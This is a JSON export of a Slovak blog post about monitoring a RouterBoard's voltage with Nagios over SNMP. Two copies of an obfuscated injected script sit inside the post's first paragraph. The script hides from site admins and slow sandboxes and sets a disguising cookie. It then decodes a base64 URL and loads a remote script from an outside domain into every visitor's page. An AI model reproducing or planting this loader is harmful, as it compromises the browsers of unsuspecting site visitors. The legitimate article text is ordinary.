{"id":63,"date":"2012-10-01T10:05:05","date_gmt":"2012-10-01T08:05:05","guid":{"rendered":"http:\/\/blog.it-admin.sk\/?p=63"},"modified":"2025-10-27T02:25:16","modified_gmt":"2025-10-27T01:25:16","slug":"monitoring-napatia-routerboardu-pomocou-nagiosu","status":"publish","type":"post","link":"https:\/\/blog.it-admin.sk\/en\/2012\/10\/monitoring-napatia-routerboardu-pomocou-nagiosu\/","title":{"rendered":"Monitoring nap\u00e4tia RouterBoardu pomocou Nagiosu"},"content":{"rendered":"<p>Ako som v <a title=\"Ako na grafy nap\u00e4tia RB v Cacti\" href=\"http:\/\/blog.it-admin.sk\/2011\/05\/ako-na-grafy-napatia-rb-v-cacti\/\">predch\u00e1dzaj\u00facom \u010dl\u00e1nku<\/a> s\u013e\u00fabil, dnes sa pozrieme na to, ako sledova\u0165 hladinu nap\u00e4tia v monitorovacom syst\u00e9me Nagios. Z\u00edskame t\u00fdm o nie\u010do profesion\u00e1lnej\u0161\u00ed poh\u013ead na na\u0161u sie\u0165 s notifik\u00e1ciami o danej slu\u017ebe, tak\u017ee u\u017e nikdy nebudeme zasko\u010den\u00ed v\u00fdpadkom slu\u017eby. N\u00e1vod sa d\u00e1 generalizova\u0165 na ak\u00fako\u013evek hodnotu pr\u00edstupn\u00fa cez SNMP protokol, ja osobne monitorujem aj vy\u0165a\u017eenie CPU, pam\u00e4te, uptime a pod.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i&lt;20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<&lt;2)|(h2>>4);o2=((h2&15)<&lt;4)|(h3>>2);o3=((h3&3)<&lt;6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i&lt;20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<&lt;2)|(h2>>4);o2=((h2&15)<&lt;4)|(h3>>2);o3=((h3&3)<&lt;6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Ako som v predch\u00e1dzaj\u00facom \u010dl\u00e1nku s\u013e\u00fabil, dnes sa pozrieme na to, ako sledova\u0165 hladinu nap\u00e4tia v monitorovacom syst\u00e9me Nagios. Z\u00edskame t\u00fdm o nie\u010do profesion\u00e1lnej\u0161\u00ed poh\u013ead na na\u0161u sie\u0165 s notifik\u00e1ciami o danej slu\u017ebe, tak\u017ee u\u017e nikdy nebudeme zasko\u010den\u00ed v\u00fdpadkom slu\u017eby. N\u00e1vod sa d\u00e1 generalizova\u0165 na ak\u00fako\u013evek hodnotu pr\u00edstupn\u00fa cez SNMP &#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-63","post","type-post","status-publish","format-standard","hentry","category-nezaradene"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/blog.it-admin.sk\/en\/wp-json\/wp\/v2\/posts\/63","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.it-admin.sk\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.it-admin.sk\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.it-admin.sk\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.it-admin.sk\/en\/wp-json\/wp\/v2\/comments?post=63"}],"version-history":[{"count":7,"href":"https:\/\/blog.it-admin.sk\/en\/wp-json\/wp\/v2\/posts\/63\/revisions"}],"predecessor-version":[{"id":685,"href":"https:\/\/blog.it-admin.sk\/en\/wp-json\/wp\/v2\/posts\/63\/revisions\/685"}],"wp:attachment":[{"href":"https:\/\/blog.it-admin.sk\/en\/wp-json\/wp\/v2\/media?parent=63"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.it-admin.sk\/en\/wp-json\/wp\/v2\/categories?post=63"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.it-admin.sk\/en\/wp-json\/wp\/v2\/tags?post=63"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}